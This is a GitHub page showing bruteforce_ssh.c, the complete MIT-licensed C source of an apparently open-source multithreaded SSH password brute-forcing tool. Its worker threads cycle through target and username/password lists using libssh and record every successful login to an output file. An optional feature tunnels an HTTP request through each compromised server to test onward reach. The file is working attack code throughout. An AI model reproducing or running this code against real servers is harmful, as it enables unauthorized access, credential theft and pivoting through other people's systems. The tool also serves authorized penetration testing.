-
-
Notifications
You must be signed in to change notification settings - Fork 26
/
Copy pathbruteforce_ssh.c
352 lines (301 loc) · 9.69 KB
/
bruteforce_ssh.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
/*
Copyright (c) 2014-2024 Jorge Matricali
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <libssh/libssh.h>
#include <pthread.h>
#include "cbrutekrag.h"
#include "log.h"
/**
* Attempt to brute-force SSH login using the provided credentials.
*
* This function tries to log in to the SSH server using the specified hostname,
* port, username, and password. It performs the brute-force attempt and handles
* any related errors.
*
* @param context The context containing options and configurations for brute-force.
* @param hostname The hostname of the SSH server.
* @param port The port of the SSH server.
* @param username The username to use for the login attempt.
* @param password The password to use for the login attempt.
*
* @return 0 on success, non-zero on failure.
*/
int bruteforce_ssh_login(btkg_context_t *context, const char *hostname,
uint16_t port, const char *username,
const char *password)
{
ssh_session session;
int verbosity = 0;
btkg_options_t *options = &context->options;
if (options->verbose & CBRUTEKRAG_VERBOSE_SSHLIB) {
verbosity = SSH_LOG_PROTOCOL;
} else {
verbosity = SSH_LOG_NOLOG;
}
session = ssh_new();
if (session == NULL) {
log_error("Cant create SSH session.");
return -1;
}
int timeout = options->timeout;
ssh_options_set(session, SSH_OPTIONS_HOST, hostname);
ssh_options_set(session, SSH_OPTIONS_LOG_VERBOSITY, &verbosity);
ssh_options_set(session, SSH_OPTIONS_PORT, &(int){ port });
#if LIBSSH_VERSION_MAYOR > 0 || \
(LIBSSH_VERSION_MAYOR == 0 && LIBSSH_VERSION_MINOR >= 6)
ssh_options_set(session, SSH_OPTIONS_KEY_EXCHANGE, "none");
ssh_options_set(session, SSH_OPTIONS_HOSTKEYS, "none");
#endif
ssh_options_set(session, SSH_OPTIONS_TIMEOUT, &timeout);
ssh_options_set(session, SSH_OPTIONS_USER, username);
int r;
r = ssh_connect(session);
if (r != SSH_OK) {
if (options->verbose & CBRUTEKRAG_VERBOSE_MODE) {
log_error("[!] Error connecting to %s:%d %s.", hostname,
port, ssh_get_error(session));
}
ssh_free(session);
return -1;
}
r = ssh_userauth_none(session, NULL);
if (r == SSH_AUTH_SUCCESS) {
log_debug("[!] %s:%d - Server without authentication.",
hostname, port);
ssh_disconnect(session);
ssh_free(session);
return -1;
}
if (r == SSH_AUTH_ERROR) {
log_debug(
"[!] %s:%d - ssh_userauth_none(): A serious error happened.",
hostname, port);
ssh_disconnect(session);
ssh_free(session);
return -1;
}
int method = ssh_userauth_list(session, NULL);
if (method & (int)SSH_AUTH_METHOD_PASSWORD) {
r = ssh_userauth_password(session, NULL, password);
if (r == SSH_AUTH_SUCCESS) {
/* Credentials accepted */
if (options->check_http != NULL) {
// Open a new channel
ssh_channel channel = ssh_channel_new(session);
if (channel == NULL) {
log_error("Error ssh_channel_new: %s",
ssh_get_error(session));
ssh_disconnect(session);
ssh_free(session);
return -2;
}
// Open a "direct-tcpip" channel to the HTTP server through the SSH server
log_debug("%s:%d %s %s - Opening tunnel...",
hostname, port, username, password);
r = ssh_channel_open_forward(
channel, options->check_http, 80,
"localhost", 0);
if (r != SSH_OK) {
log_error(
"Error ssh_channel_open_forward: %s",
ssh_get_error(session));
if (channel) {
ssh_channel_close(channel);
ssh_channel_free(channel);
}
ssh_disconnect(session);
ssh_free(session);
return -3;
}
char buffer[1024];
int nbytes;
snprintf(buffer, sizeof(buffer),
"GET / HTTP/1.1\r\nHost: %s\r\n\r\n",
options->check_http);
// Send HTTP request through the channel
r = ssh_channel_write(channel, buffer,
(uint32_t)strlen(buffer));
if (r == SSH_ERROR) {
log_error("Error ssh_channel_write: %s",
ssh_get_error(session));
if (channel) {
ssh_channel_close(channel);
ssh_channel_free(channel);
}
ssh_disconnect(session);
ssh_free(session);
return -4;
}
// Read HTTP response from the channel
nbytes = ssh_channel_read(channel, buffer,
sizeof(buffer), 0);
if (nbytes == 0) {
log_warn(
"%s:%d %s %s - http-check empty response",
hostname, port, username,
password);
if (channel) {
ssh_channel_close(channel);
ssh_channel_free(channel);
}
ssh_disconnect(session);
ssh_free(session);
return -6;
}
if (nbytes < 0) {
log_error("Error ssh_channel_read: %s",
ssh_get_error(session));
if (channel) {
ssh_channel_close(channel);
ssh_channel_free(channel);
}
ssh_disconnect(session);
ssh_free(session);
return -5;
}
}
ssh_disconnect(session);
ssh_free(session);
return 0;
}
}
ssh_disconnect(session);
ssh_free(session);
return -1;
}
/**
* Try to log in to an SSH server with the specified credentials.
*
* This function tries a single login attempt using the provided credentials and
* returns the result of the attempt.
*
* @param context The context containing options and configurations for brute-force.
* @param hostname The hostname of the SSH server.
* @param port The port of the SSH server.
* @param username The username to use for the login attempt.
* @param password The password to use for the login attempt.
*
* @return 0 on success, non-zero on failure.
*/
int bruteforce_ssh_try_login(btkg_context_t *context, const char *hostname,
const uint16_t port, const char *username,
const char *password)
{
const char *_password =
strcmp(password, "$TARGET") == 0 ? hostname : password;
const char *_username =
strcmp(username, "$TARGET") == 0 ? hostname : username;
int ret = bruteforce_ssh_login(context, hostname, port, _username,
_password);
if (ret == 0) {
log_info("\033[32m[+]\033[0m %s:%d %s %s", hostname, port,
_username, _password);
if (context->output != NULL) {
btkg_log_successfull_login(
context->output,
context->options.bruteforce_output_format,
hostname, port, _username, _password);
}
} else {
log_debug("\033[38m[-]\033[0m %s:%d %s %s", hostname, port,
_username, _password);
}
return ret;
}
/**
* Worker function for brute-force SSH login attempts.
*
* This function is executed by each worker thread to perform brute-force SSH login attempts
* on the specified targets using the provided credentials.
*
* @param ptr Pointer to the context containing targets, credentials, and options.
*
* @return NULL when the worker completes its task.
*/
static void *btkg_bruteforce_worker(void *ptr)
{
btkg_context_t *context = (btkg_context_t *)ptr;
btkg_target_list_t *targets = &context->targets;
btkg_credentials_list_t *credentials = &context->credentials;
btkg_options_t *options = &context->options;
for (;;) {
pthread_mutex_lock(&context->lock);
if (context->targets_idx >= targets->length) {
context->targets_idx = 0;
context->credentials_idx++;
}
if (context->credentials_idx >= credentials->length) {
// Llegamos al final
log_debug("No work to do. Stopping thread...");
pthread_mutex_unlock(&context->lock);
break;
}
btkg_target_t *target =
&targets->targets[context->targets_idx++];
btkg_credentials_t *combo =
&credentials->credentials[context->credentials_idx];
context->count++;
pthread_mutex_unlock(&context->lock);
if (!options->dry_run) {
int ret = bruteforce_ssh_try_login(
context, target->host, target->port,
combo->username, combo->password);
if (ret == 0) {
pthread_mutex_lock(&context->lock);
context->successful++;
pthread_mutex_unlock(&context->lock);
}
} else {
log_debug("\033[38m[-]\033[0m %s:%d %s %s",
target->host, target->port, combo->username,
combo->password);
}
}
return NULL;
}
/**
* Start the brute-force SSH login process.
*
* This function initializes and starts the brute-force process, including setting
* up necessary threads and handling the brute-force attack.
*
* @param context The context containing options and configurations for brute-force.
*/
void btkg_bruteforce_start(btkg_context_t *context)
{
btkg_options_t *options = &context->options;
pthread_t scan_threads[options->max_threads];
int ret;
for (size_t i = 0; i < options->max_threads; i++) {
log_debug("Creating thread: %ld", i);
if ((ret = pthread_create(&scan_threads[i], NULL,
*btkg_bruteforce_worker,
(void *)context))) {
log_error("Thread creation failed: %d\n", ret);
}
}
for (size_t i = 0; i < options->max_threads; i++) {
ret = pthread_join(scan_threads[i], NULL);
if (ret != 0) {
log_error("Cannot join thread no: %d\n", ret);
}
}
}